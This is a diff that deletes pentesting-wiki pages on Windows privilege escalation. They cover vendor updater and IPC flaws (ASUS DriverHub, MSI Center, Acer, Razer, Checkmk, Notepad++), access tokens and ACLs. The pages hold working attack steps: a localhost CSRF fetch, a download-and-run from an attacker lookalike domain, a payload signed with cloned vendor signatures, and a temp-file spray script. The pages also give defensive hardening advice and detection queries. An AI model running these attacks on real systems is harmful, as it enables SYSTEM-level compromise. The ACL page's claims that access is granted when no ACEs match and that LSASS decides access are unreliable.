-2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP).
-3) Overwrite ntdll!NtContinue (or other early, guaranteed-mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back.
-4) ResumeThread to trigger your stub in-process, loading your DLL.
-
-Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already-protected process (you created it), the driver’s policy is satisfied.
-
----
-## 6) Practical tooling
-- NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
-- UpSkope is a custom IPC client that crafts arbitrary (optionally AES-encrypted) IPC messages and includes the suspended-process injection to originate from an allow-listed binary.
-
-## 7) Fast triage workflow for unknown updater/IPC surfaces
-
-When facing a new endpoint agent or motherboard “helper” suite, a quick workflow is usually enough to tell whether you are looking at a promising privesc target:
-
-1) Enumerate loopback listeners and map them back to vendor processes:
-
-```powershell
-Get-NetTCPConnection -State Listen |
-  Where-Object {$_.LocalAddress -in @('127.0.0.1', '::1', '0.0.0.0', '::')} |
-  Select-Object LocalAddress,LocalPort,OwningProcess,
-    @{n='Process';e={(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Path}}
-```
-
-2) Enumerate candidate named pipes:
-
-```powershell
-[System.IO.Directory]::GetFiles("\\.\pipe\") | Select-String -Pattern 'asus|msi|razer|acer|agent|update'
-```
-
-3) Mine registry-backed routing data used by plugin-based IPC servers:
-
-```powershell
-Get-ChildItem 'HKLM:\SOFTWARE\WOW6432Node\MSI\MSI Center\Component' |
-  Select-Object PSChildName
-```
-
-4) Extract endpoint names, JSON keys, and command IDs from the user-mode client first. Packed Electron/.NET frontends frequently leak the full schema:
-
-```powershell
-Select-String -Path 'C:\Program Files\Vendor\**\*.js','C:\Program Files\Vendor\**\*.dll' `
-  -Pattern '127.0.0.1|localhost|UpdateApp|checkupdate|NamedPipe|LaunchProcess|Origin'
-```
-
-5) Hunt for the actual trust predicate, not just the code path that eventually launches the process:
-
-```powershell
-Select-String -Path 'C:\Program Files\Vendor\**\*.exe','C:\Program Files\Vendor\**\*.dll','C:\Program Files\Vendor\**\*.js' `
-  -Pattern 'WinVerifyTrust|CryptQueryObject|Origin|Referer|Subject|CN=|ExecuteTask|LaunchProcess|CreateProcessAsUser'
-```
-
-Patterns worth prioritizing:
-- `CryptQueryObject`/certificate parsing without `WinVerifyTrust` usually means “certificate exists” was treated as “certificate is trusted”, enabling certificate cloning or other fake-signer tricks.
-- Substring/suffix checks over `Origin`, `Referer`, download URLs, process names, or signer CNs are not authentication. `contains(".vendor.com")` is usually exploitable with attacker-controlled lookalike domains.
-- If the low-privileged GUI decides “the file is trusted” and the SYSTEM broker merely consumes that result, patching or reimplementing the client-side DLL/JS often bypasses the boundary entirely (Razer-style split validation).
-- If the broker copies a payload to `%TEMP%`/`C:\Windows\Temp` and then validates or schedules it from that path, immediately test for TOCTOU replacement windows and for sibling plugin modules that expose alternate `ExecuteTask()` wrappers with weaker checks.
-
-For named-pipe-heavy targets, PipeViewer is a quick way to spot weak DACLs and remotely reachable pipes before you start reversing the protocol in depth.
-
-If the target authenticates callers only by PID, image path, or process name, treat that as a speed bump rather than a boundary: injecting into the legitimate client, or making the connection from an allow-listed process, is often enough to satisfy the server’s checks. For named pipes specifically, [this page about client impersonation and pipe abuse](named-pipe-client-impersonation.md) covers the primitive in more depth.
-
----
-## 8) Modular add-in brokers authenticated only by vendor signatures (Lenovo Vantage pattern)
-
-A newer variation worth hunting is the **signed-client RPC broker**: a low-privileged Lenovo-signed desktop process talks to a SYSTEM service, and the service routes JSON commands into a set of XML-described add-ins under `%ProgramData%`. Once code execution is achieved **inside any accepted signed client**, every `runas="system"` contract becomes part of your attack surface.
-
-High-value primitives observed in Lenovo Vantage research:
-- **Trusting the caller because it is signed by the vendor**: researchers reached an authenticated context by copying a Lenovo-signed EXE to a writable directory and satisfying a DLL side-load (`profapi.dll`) so arbitrary code ran inside a client the service already trusted.
-- **Manifest-driven attack surface discovery**: add-ins are declared under `C:\ProgramData\Lenovo\Vantage\Addins\*.xml`; several contracts run as `SYSTEM`, so enumerating those manifests often reveals the real privileged verbs faster than reversing the broker itself.
-- **Per-command bugs behind the authenticated channel**: once inside the trusted client, public research found path-traversal + race conditions in update/install verbs, raw-SQL abuse in privileged settings databases, and substring-based registry path checks that enabled writes outside the intended hive.
-
-Useful recon on a target:
-
-```powershell
-Get-ChildItem "$env:ProgramData\Lenovo\Vantage\Addins" -Filter *.xml |
-  Select-String -Pattern 'runas="system"|<name>|<namespace>'
-```
-
-```powershell
-Select-String -Path 'C:\Program Files\Lenovo\**\*.dll','C:\Program Files\Lenovo\**\*.exe' `
-  -Pattern 'contract|command|payload|DeleteTable|DeleteSetting|Set-KeyChildren|DownloadAndInstallAppComponent|InstallOnly'
-```
-
-Practical takeaway: whenever a helper suite exposes a broker that first authenticates the **caller process** and only then dispatches into dozens of plugin/add-in commands, do not stop after bypassing the front-door trust check. Dump the manifest/contract table and fuzz each high-privilege verb independently; the authenticated channel usually hides several second-stage bugs.
-
----
-## 1) Browser-to-localhost CSRF against privileged HTTP APIs (ASUS DriverHub)
-
-DriverHub ships a user-mode HTTP service (ADU.exe) on 127.0.0.1:53000 that expects browser calls coming from https://driverhub.asus.com. The origin filter simply performs `string_contains(".asus.com")` over the Origin header and over download URLs exposed by `/asus/v1.0/*`. Any attacker-controlled host such as `https://driverhub.asus.com.attacker.tld` therefore passes the check and can issue state-changing requests from JavaScript. See [CSRF basics](../../pentesting-web/csrf-cross-site-request-forgery.md) for additional bypass patterns.
-
-Practical flow:
-1) Register a domain that embeds `.asus.com` and host a malicious webpage there.
-2) Use `fetch` or XHR to call a privileged endpoint (e.g., `Reboot`, `UpdateApp`) on `http://127.0.0.1:53000`.
-3) Send the JSON body expected by the handler – the packed frontend JS shows the schema below.
-
-```javascript
-fetch("http://127.0.0.1:53000/asus/v1.0/Reboot", {
-  method: "POST",
-  headers: { "Content-Type": "application/json" },
-  body: JSON.stringify({ Event: [{ Cmd: "Reboot" }] })
-});
-```
-
-Even the PowerShell CLI shown below succeeds when the Origin header is spoofed to the trusted value:
-
-```powershell
-Invoke-WebRequest -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot" -Method Post \
-  -Headers @{Origin="https://driverhub.asus.com"; "Content-Type"="application/json"} \
-  -Body (@{Event=@(@{Cmd="Reboot"})}|ConvertTo-Json)
-```
-
-Any browser visit to the attacker site therefore becomes a 1-click (or 0-click via `onload`) local CSRF that drives a SYSTEM helper.
-
----
-## 2) Insecure code-signing verification & certificate cloning (ASUS UpdateApp)
-
-`/asus/v1.0/UpdateApp` downloads arbitrary executables defined in the JSON body and caches them in `C:\ProgramData\ASUS\AsusDriverHub\SupportTemp`. Download URL validation reuses the same substring logic, so `http://updates.asus.com.attacker.tld:8000/payload.exe` is accepted. After download, ADU.exe merely checks that the PE contains a signature and that the Subject string matches ASUS before running it – no `WinVerifyTrust`, no chain validation.
-
-To weaponize the flow:
-1) Create a payload (e.g., `msfvenom -p windows/exec CMD=notepad.exe -f exe -o payload.exe`).
-2) Clone ASUS’s signer into it (e.g., `python sigthief.py -i ASUS-DriverHub-Installer.exe -t payload.exe -o pwn.exe`).
-3) Host `pwn.exe` on a `.asus.com` lookalike domain and trigger UpdateApp via the browser CSRF above.
-
-Because both the Origin and URL filters are substring-based and the signer check only compares strings, DriverHub pulls and executes the attacker binary under its elevated context.
-
----
-## 1) TOCTOU inside updater copy/execute paths (MSI Center CMD_AutoUpdateSDK)
-
-MSI Center’s SYSTEM service exposes a TCP protocol where each frame is `4-byte ComponentID || 8-byte CommandID || ASCII arguments`. The core component (Component ID `0f 27 00 00`) ships `CMD_AutoUpdateSDK = {05 03 01 08 FF FF FF FC}`. Its handler:
-1) Copies the supplied executable to `C:\Windows\Temp\MSI Center SDK.exe`.
-2) Verifies the signature via `CS_CommonAPI.EX_CA::Verify` (certificate subject must equal “MICRO-STAR INTERNATIONAL CO., LTD.” and `WinVerifyTrust` succeeds).
-3) Creates a scheduled task that runs the temp file as SYSTEM with attacker-controlled arguments.
-
-The copied file is not locked between verification and `ExecuteTask()`. An attacker can:
-- Send Frame A pointing to a legitimate MSI-signed binary (guarantees the signature check passes and the task is queued).
-- Race it with repeated Frame B messages that point to a malicious payload, overwriting `MSI Center SDK.exe` just after verification completes.
-
-When the scheduler fires, it executes the overwritten payload under SYSTEM despite having validated the original file. Reliable exploitation uses two goroutines/threads that spam CMD_AutoUpdateSDK until the TOCTOU window is won.
-
----
-## 2) Abusing custom SYSTEM-level IPC & impersonation (MSI Center + Acer Control Centre)
-
-### MSI Center TCP command sets
-- Every plugin/DLL loaded by `MSI.CentralServer.exe` receives a Component ID stored under `HKLM\SOFTWARE\MSI\MSI_CentralServer`. The first 4 bytes of a frame select that component, allowing attackers to route commands to arbitrary modules.
-- Plugins can define their own task runners. `Support\API_Support.dll` exposes `CMD_Common_RunAMDVbFlashSetup = {05 03 01 08 01 00 03 03}` and directly calls `API_Support.EX_Task::ExecuteTask()` with **no signature validation** – any local user can point it at `C:\Users\<user>\Desktop\payload.exe` and get SYSTEM execution deterministically.
-- Sniffing loopback with Wireshark or instrumenting the .NET binaries in dnSpy quickly reveals the Component ↔ command mapping; custom Go/ Python clients can then replay frames.
-
-### Acer Control Centre named pipes & impersonation levels
-- `ACCSvc.exe` (SYSTEM) exposes `\\.\pipe\treadstone_service_LightMode`, and its discretionary ACL allows remote clients (e.g., `\\TARGET\pipe\treadstone_service_LightMode`). Sending command ID `7` with a file path invokes the service’s process-spawning routine.
-- The client library serializes a magic terminator byte (113) along with args. Dynamic instrumentation with Frida/`TsDotNetLib` (see [Reversing Tools & Basic Methods](../../reversing/reversing-tools-basic-methods/README.md) for instrumentation tips) shows that the native handler maps this value to a `SECURITY_IMPERSONATION_LEVEL` and integrity SID before calling `CreateProcessAsUser`.
-- Swapping 113 (`0x71`) for 114 (`0x72`) drops into the generic branch that keeps the full SYSTEM token and sets a high-integrity SID (`S-1-16-12288`). The spawned binary therefore runs as unrestricted SYSTEM, both locally and cross-machine.
-- Combine that with the exposed installer flag (`Setup.exe -nocheck`) to stand up ACC even on lab VMs and exercise the pipe without vendor hardware.
-
-These IPC bugs highlight why localhost services must enforce mutual authentication (ALPC SIDs, `ImpersonationLevel=Impersonation` filters, token filtering) and why every module’s “run arbitrary binary” helper must share the same signer verifications.
-
----
-## 3) COM/IPC “elevator” helpers backed by weak user-mode validation (Razer Synapse 4)
-
-Razer Synapse 4 added another useful pattern to this family: a low-privileged user can ask a COM helper to launch a process through `RzUtility.Elevator`, while the trust decision is delegated to a user-mode DLL (`simple_service.dll`) rather than being enforced robustly inside the privileged boundary.
-
-Observed exploitation path:
-- Instantiate the COM object `RzUtility.Elevator`.
-- Call `LaunchProcessNoWait(<path>, "", 1)` to request an elevated launch.
-- In the public PoC, the PE-signature gate inside `simple_service.dll` is patched out before issuing the request, allowing an arbitrary attacker-chosen executable to be launched.
-
-Minimal PowerShell invocation:
-
-```powershell
-$com = New-Object -ComObject 'RzUtility.Elevator'
-$com.LaunchProcessNoWait("C:\Users\Public\payload.exe", "", 1)
-```
-
-General takeaway: when reversing “helper” suites, do not stop at localhost TCP or named pipes. Check for COM classes with names such as `Elevator`, `Launcher`, `Updater`, or `Utility`, then verify whether the privileged service actually validates the target binary itself or merely trusts a result computed by a patchable user-mode client DLL. This pattern generalizes beyond Razer: any split design where the high-privilege broker consumes an allow/deny decision from the low-privilege side is a candidate privesc surface.
-
-
----
-## Predictable temp script execution during MSI repair (Checkmk Agent / CVE-2024-0670)
-
-Some Windows agents still implement privileged actions by writing a temporary `.cmd` into `C:\Windows\Temp` and executing it as `SYSTEM`. If the filename is predictable and the service doesn't safely recreate existing files, a low-privileged user can pre-create the future temp file as **read-only** and make the privileged process execute attacker-controlled content instead of its own script.
-
-Observed in vulnerable Checkmk Agent builds:
-- temp pattern: `cmk_all_<PID>_1.cmd`
-- affected branches: `2.0.0`, `2.1.0`, `2.2.0`
-- trigger: MSI **repair** of the cached agent package
-
-Practical workflow:
-1. Estimate a realistic PID range from current process IDs or the running agent PID.
-2. Write a short **ASCII** `.cmd` payload (`Set-Content -Encoding Ascii` or `cmd.exe` redirection; avoid UTF-16 PowerShell output for batch files).
-3. Spray `C:\Windows\Temp\cmk_all_<PID>_1.cmd` across the candidate range and mark each file read-only.
-4. Trigger a repair of the cached MSI so the privileged service attempts to regenerate and then executes the temp script.
-
-```powershell
-Set-Content -Path C:\ProgramData\payload.cmd -Encoding Ascii -Value "@echo off`nwhoami > C:\ProgramData\proof.txt"
-1..10000 | ForEach-Object {
-  Copy-Item C:\ProgramData\payload.cmd "C:\Windows\Temp\cmk_all_${_}_1.cmd"
-  Set-ItemProperty "C:\Windows\Temp\cmk_all_${_}_1.cmd" -Name IsReadOnly -Value $true
-}
-```
-
-If the vulnerable product is installed with Windows Installer, map the random-looking cached MSI under `C:\Windows\Installer` back to its product name before triggering the repair:
-
-```powershell
-Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" |
-  ForEach-Object {
-    $p = Get-ItemProperty $_.PSPath
-    [PSCustomObject]@{Name=$p.DisplayName; Pkg=$p.LocalPackage}
-  } | Where-Object Name -like "*Check MK Agent*"
-
-msiexec /fa C:\Windows\Installer\<cached-agent>.msi
-```
-
-Operational notes:
-- `qwinsta` is useful when `msiexec /fa` fails from a non-interactive WinRM shell and you need to understand whether an existing desktop/disconnected session can trigger the repair correctly.
-- This pattern generalizes to other endpoint agents and updaters that **stage temp scripts in world-writable locations and later execute them as SYSTEM**. Test for predictable names, missing exclusive create semantics, and repair/update flows that can be triggered on demand.
-
----
-## Remote supply-chain hijack via weak updater validation (WinGUp / Notepad++)
-
-Between June 2025 and December 2025, attackers who compromised the hosting infrastructure behind the Notepad++ update flow selectively served malicious manifests to chosen victims. Older WinGUp-based updaters did not fully verify update authenticity, so a hostile XML response could redirect clients to attacker-controlled URLs. Because the client accepted HTTPS content without enforcing both a trusted certificate chain and a valid PE signature on the downloaded installer, victims fetched and executed a trojanized NSIS `update.exe`.
-
-Operational flow (no local exploit required):
-1. **Infrastructure interception**: compromise CDN/hosting and answer update checks with attacker metadata pointing at a malicious download URL.
-2. **Trojanized NSIS**: the installer fetches/executes a payload and abuses two execution chains:
-   - **Bring-your-own signed binary + sideload**: bundle the signed Bitdefender `BluetoothService.exe` and drop a malicious `log.dll` in its search path. When the signed binary runs, Windows sideloads `log.dll`, which decrypts and reflectively loads the Chrysalis backdoor (Warbird-protected + API hashing to hinder static detection).
-   - **Scripted shellcode injection**: NSIS executes a compiled Lua script that uses Win32 APIs (e.g., `EnumWindowStationsW`) to inject shellcode and stage Cobalt Strike Beacon.
-
-Hardening/detection takeaways for any auto-updater:
-- Enforce **certificate + signature verification** of the downloaded installer (pin vendor signer, reject mismatched CN/chain) and sign the update manifest itself (e.g., XMLDSig). Block manifest-controlled redirects unless validated.
-- Treat **BYO signed binary sideloading** as a post-download detection pivot: alert when a signed vendor EXE loads a DLL name from outside its canonical install path (e.g., Bitdefender loading `log.dll` from Temp/Downloads) and when an updater drops/executes installers from temp with non-vendor signatures.
-- Monitor **malware-specific artifacts** observed in this chain (useful as generic pivots): mutex `Global\Jdhfv_1.0.1`, anomalous `gup.exe` writes to `%TEMP%`, and Lua-driven shellcode injection stages.
-- Notepad++ responded by strengthening WinGUp in v8.8.9 and later: the returned XML is now signed (XMLDSig), and newer builds enforce certificate + signature verification of the downloaded installer instead of trusting the transport alone.
-
-<details>
-<summary>Cortex XDR XQL – Bitdefender-signed EXE sideloading <code>log.dll</code> (T1574.001)</summary>
-
-```sql
-// Identifies Bitdefender-signed processes loading log.dll outside vendor paths
-config case_sensitive = false
-| dataset = xdr_data
-| fields actor_process_signature_vendor, actor_process_signature_product, action_module_path, actor_process_image_path, actor_process_image_sha256, agent_os_type, event_type, event_id, agent_hostname, _time, actor_process_image_name
-| filter event_type = ENUM.LOAD_IMAGE and agent_os_type = ENUM.AGENT_OS_WINDOWS
-| filter actor_process_signature_vendor contains "Bitdefender SRL" and action_module_path contains "log.dll"
-| filter actor_process_image_path not contains "Program Files\\Bitdefender"
-| filter not actor_process_image_name in ("eps.rmm64.exe", "downloader.exe", "installer.exe", "epconsole.exe", "EPHost.exe", "epintegrationservice.exe", "EPPowerConsole.exe", "epprotectedservice.exe", "DiscoverySrv.exe", "epsecurityservice.exe", "EPSecurityService.exe", "epupdateservice.exe", "testinitsigs.exe", "EPHost.Integrity.exe", "WatchDog.exe", "ProductAgentService.exe", "EPLowPrivilegeWorker.exe", "Product.Configuration.Tool.exe", "eps.rmm.exe")
-```
-
-</details>
-
-<details>
-<summary>Cortex XDR XQL – <code>gup.exe</code> launching a non-Notepad++ installer</summary>
-
-```sql
-config case_sensitive = false
-| dataset = xdr_data
-| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START and _product = "XDR agent" and _vendor = "PANW"
-| filter lowercase(actor_process_image_name) = "gup.exe" and actor_process_signature_status not in (null, ENUM.UNSUPPORTED, ENUM.FAILED_TO_OBTAIN ) and action_process_signature_status not in (null, ENUM.UNSUPPORTED, ENUM.FAILED_TO_OBTAIN )
-| filter lowercase(action_process_image_name) ~= "(npp[\.\d]+?installer)"
-| filter action_process_signature_status != ENUM.SIGNED or lowercase(action_process_signature_vendor) != "notepad++"
-```
-
-</details>
-
-These patterns generalize to any updater that accepts unsigned manifests or fails to pin installer signers—network hijack + malicious installer + BYO-signed sideloading yields remote code execution under the guise of “trusted” updates.
-
----
-## References
-- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
-- [Netskope Security Advisory NSKPSA-2025-002](https://www.netskope.com/resources/netskope-resources/netskope-security-advisory-nskpsa-2025-002)
-- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
-- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
-- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
-- [SensePost – Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4](https://sensepost.com/blog/2025/pwning-asus-driverhub-msi-center-acer-control-centre-and-razer-synapse-4/)
-- [0xdf – HTB: NanoCorp](https://0xdf.gitlab.io/2026/06/20/htb-nanocorp.html)
-- [SEC Consult – Local Privilege Escalation via writable files in Checkmk Agent](https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/)
-- [Checkmk Werk #16361 – Privilege escalation in Windows agent](https://checkmk.com/werk/16361)
-- [RunasCs](https://github.com/antonioCoco/RunasCs)
-- [sensepost/bloatware-pwn PoCs](https://github.com/sensepost/bloatware-pwn)
-- [CyberArk PipeViewer](https://github.com/cyberark/PipeViewer)
-- [Unit 42 – Nation-State Actors Exploit Notepad++ Supply Chain](https://unit42.paloaltonetworks.com/notepad-infrastructure-compromise/)
-- [Notepad++ – hijacked infrastructure incident update](https://notepad-plus-plus.org/news/hijacked-incident-info-update/)
-- [AmberWolf – Bypassing the fix for CVE-2025-0309 in Netskope Client for Windows](https://blog.amberwolf.com/blog/2026/march/patch-bypass---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
-- [Atredis – Uncovering Privilege Escalation Bugs in Lenovo Vantage](https://www.atredis.com/blog/2025/7/7/uncovering-privilege-escalation-bugs-in-lenovo-vantage)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
deleted file mode 100644
index 90c1fe94b8f..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
+++ /dev/null
@@ -1,145 +0,0 @@
-# Access Tokens
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Access Tokens
-
-Each **user logged** onto the system **holds an access token with security information** for that logon session. The system creates an access token when the user logs on. **Every process executed** on behalf of the user **has a copy of the access token**. The token identifies the user, the user's groups, and the user's privileges. A token also contains a logon SID (Security Identifier) that identifies the current logon session.
-
-You can see this information executing `whoami /all`
-
-```
-whoami /all
-
-USER INFORMATION
-----------------
-
-User Name             SID
-===================== ============================================
-desktop-rgfrdxl\cpolo S-1-5-21-3359511372-53430657-2078432294-1001
-
-
-GROUP INFORMATION
------------------
-
-Group Name                                                    Type             SID                                                                                                           Attributes
-============================================================= ================ ============================================================================================================= ==================================================
-Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192
-Everyone                                                      Well-known group S-1-1-0                                                                                                       Mandatory group, Enabled by default, Enabled group
-NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114                                                                                                     Group used for deny only
-BUILTIN\Administrators                                        Alias            S-1-5-32-544                                                                                                  Group used for deny only
-BUILTIN\Users                                                 Alias            S-1-5-32-545                                                                                                  Mandatory group, Enabled by default, Enabled group
-BUILTIN\Performance Log Users                                 Alias            S-1-5-32-559                                                                                                  Mandatory group, Enabled by default, Enabled group
-NT AUTHORITY\INTERACTIVE                                      Well-known group S-1-5-4                                                                                                       Mandatory group, Enabled by default, Enabled group
-CONSOLE LOGON                                                 Well-known group S-1-2-1                                                                                                       Mandatory group, Enabled by default, Enabled group
-NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11                                                                                                      Mandatory group, Enabled by default, Enabled group
-NT AUTHORITY\This Organization                                Well-known group S-1-5-15                                                                                                      Mandatory group, Enabled by default, Enabled group
-MicrosoftAccount\cpolop@outlook.com                           User             S-1-11-96-3623454863-58364-18864-2661722203-1597581903-3158937479-2778085403-3651782251-2842230462-2314292098 Mandatory group, Enabled by default, Enabled group
-NT AUTHORITY\Local account                                    Well-known group S-1-5-113                                                                                                     Mandatory group, Enabled by default, Enabled group
-LOCAL                                                         Well-known group S-1-2-0                                                                                                       Mandatory group, Enabled by default, Enabled group
-NT AUTHORITY\Cloud Account Authentication                     Well-known group S-1-5-64-36                                                                                                   Mandatory group, Enabled by default, Enabled group
-
-
-PRIVILEGES INFORMATION
-----------------------
-
-Privilege Name                Description                          State
-============================= ==================================== ========
-SeShutdownPrivilege           Shut down the system                 Disabled
-SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
-SeUndockPrivilege             Remove computer from docking station Disabled
-SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
-SeTimeZonePrivilege           Change the time zone                 Disabled
-```
-
-or using _Process Explorer_ from Sysinternals (select process and access"Security" tab):
-
-![Access Tokens - Access Tokens: or using Process Explorer from Sysinternals (select process and access"Security" tab)](<../../images/image (772).png>)
-
-### Local administrator
-
-When a local administrator logins, **two access tokens are created**: One with admin rights and other one with normal rights. **By default**, when this user executes a process the one with **regular** (non-administrator) **rights is used**. When this user tries to **execute** anything **as administrator** ("Run as Administrator" for example) the **UAC** will be used to ask for permission.\
-If you want to [**learn more about the UAC read this page**](../authentication-credentials-uac-and-efs/index.html#uac)**.**
-
-In practice, this means a **non-elevated admin shell usually runs with a filtered token**. That is why `whoami /groups` often shows **`BUILTIN\Administrators` as `Deny only`** until the process is elevated. Internally, Windows keeps a **linked elevated token** (`TokenLinkedToken`) and tracks the state with fields such as `TokenElevationType`.
-
-### Credentials user impersonation
-
-If you have **valid credentials of any other user**, you can **create** a **new logon session** with those credentials :
-
-```
-runas /user:domain\username cmd.exe
-```
-
-The **access token** has also a **reference** of the logon sessions inside the **LSASS**, this is useful if the process needs to access some objects of the network.\
-You can launch a process that **uses different credentials for accessing network services** using:
-
-```
-runas /user:domain\username /netonly cmd.exe
-```
-
-This is useful if you have useful credentials to access objects in the network but those credentials aren't valid inside the current host as they are only going to be used in the network (in the current host your current user privileges will be used).
-
-#### `runas /netonly` details
-
-`runas /netonly` (and C2 helpers such as `make_token`) creates a **`LOGON32_LOGON_NEW_CREDENTIALS`** token. This is very useful to understand during lateral movement because:
-
-- **Locally**, the new process keeps the **same local identity**, groups, integrity level, and most of the same access decisions as the current token.
-- **Remotely**, outbound authentication can use the **supplied credentials** for SMB / WinRM / LDAP / HTTP / Kerberos / NTLM.
-- Therefore `whoami` may still show the **original local user** while network access happens as the **alternate account**.
-
-This is a great option when the credentials are valid in the domain or in another host, but the user **cannot or should not log on locally** to the current machine.
-
-### Types of tokens
-
-There are two types of tokens available:
-
-- **Primary Token**: It serves as a representation of a process's security credentials. The creation and association of primary tokens with processes are actions that require elevated privileges, emphasizing the principle of privilege separation. Typically, an authentication service is responsible for token creation, while a logon service handles its association with the user's operating system shell. It is worth noting that processes inherit the primary token of their parent process at creation.
-- **Impersonation Token**: Empowers a server application to adopt the client's identity temporarily for accessing secure objects. This mechanism is stratified into four levels of operation:
-  - **Anonymous**: Grants server access akin to that of an unidentified user.
-  - **Identification**: Allows the server to verify the client's identity without utilizing it for object access.
-  - **Impersonation**: Enables the server to operate under the client's identity.
-  - **Delegation**: Similar to Impersonation but includes the ability to extend this identity assumption to remote systems the server interacts with, ensuring credential preservation.
-
-#### Impersonate Tokens
-
-Using the _**incognito**_ module of metasploit if you have enough privileges you can easily **list** and **impersonate** other **tokens**. This could be useful to perform **actions as if you where the other user**. You could also **escalate privileges** with this technique.
-
-Some practical notes that are easy to forget while operating:
-
-- **`CreateProcessWithTokenW`** requires **`SeImpersonatePrivilege`** in the caller and the new process will run in the **caller's session**.
-- **`CreateProcessAsUserW`** is the usual fallback when `CreateProcessWithTokenW` fails with `1314`, or when you need to launch in the **session referenced by the token**.
-- If a token comes from **`LogonUser(LOGON32_LOGON_NETWORK)`**, it is usually an **impersonation token**, so you need **`DuplicateTokenEx(..., TokenPrimary, ...)`** before trying to spawn a process with it.
-- Not every impersonation token is equally useful: **`SecurityIdentification`** lets you inspect the user but **not act as them**. If a coercion primitive or pipe/RPC client gives you only an identification-level token, check **`TokenImpersonationLevel`** and switch to a primitive that yields **`SecurityImpersonation`** or better.
-
-#### Token theft without touching LSASS
-
-If you already have a **service** or **SYSTEM** context and a **privileged user is logged on**, stealing or duplicating that user's token is often quieter than dumping **LSASS**. In many real intrusions this is enough to:
-
-- run local actions as that user
-- access remote resources as that user
-- perform AD operations without extracting reusable credentials first
-
-For examples of **session/user token hijacking** from a privileged context, check [**WTS Impersonator**](../stealing-credentials/wts-impersonator.md). Remember that APIs such as **`WTSQueryUserToken`** are meant for **highly trusted services** and normally require **`LocalSystem` + `SeTcbPrivilege`**, so they are primarily useful once you already control a service-level context. For privilege-specific ways to obtain **SYSTEM** first, check the pages below.
-
-### Token Privileges
-
-Learn which **token privileges can be abused to escalate privileges:**
-
-
-{{#ref}}
-privilege-escalation-abusing-tokens.md
-{{#endref}}
-
-Take a look to [**all the possible token privileges and some definitions on this external page**](https://github.com/gtworek/Priv2Admin).
-
-## References
-
-- [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa)
-- [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
-- [https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/](https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/)
-- [https://www.fox-it.com/nl-en/demystifying-cobalt-strike-s-make_token-command/](https://www.fox-it.com/nl-en/demystifying-cobalt-strike-s-make_token-command/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
deleted file mode 100644
index de32f7add55..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
+++ /dev/null
@@ -1,156 +0,0 @@
-# ACLs - DACLs/SACLs/ACEs
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## **Access Control List (ACL)**
-
-An Access Control List (ACL) consists of an ordered set of Access Control Entries (ACEs) that dictate the protections for an object and its properties. In essence, an ACL defines which actions by which security principals (users or groups) are permitted or denied on a given object.
-
-There are two types of ACLs:
-
-- **Discretionary Access Control List (DACL):** Specifies which users and groups have or do not have access to an object.
-- **System Access Control List (SACL):** Governs the auditing of access attempts to an object.
-
-The process of accessing a file involves the system checking the object's security descriptor against the user's access token to determine if access should be granted and the extent of that access, based on the ACEs.
-
-### **Key Components**
-
-- **DACL:** Contains ACEs that grant or deny access permissions to users and groups for an object. It's essentially the main ACL that dictates access rights.
-- **SACL:** Used for auditing access to objects, where ACEs define the types of access to be logged in the Security Event Log. This can be invaluable for detecting unauthorized access attempts or troubleshooting access issues.
-
-### **System Interaction with ACLs**
-
-Each user session is associated with an access token that contains security information relevant to that session, including user, group identities, and privileges. This token also includes a logon SID that uniquely identifies the session.
-
-The Local Security Authority (LSASS) processes access requests to objects by examining the DACL for ACEs that match the security principal attempting access. Access is immediately granted if no relevant ACEs are found. Otherwise, LSASS compares the ACEs against the security principal's SID in the access token to determine access eligibility.
-
-### **Summarized Process**
-
-- **ACLs:** Define access permissions through DACLs and audit rules through SACLs.
-- **Access Token:** Contains user, group, and privilege information for a session.
-- **Access Decision:** Made by comparing DACL ACEs with the access token; SACLs are used for auditing.
-
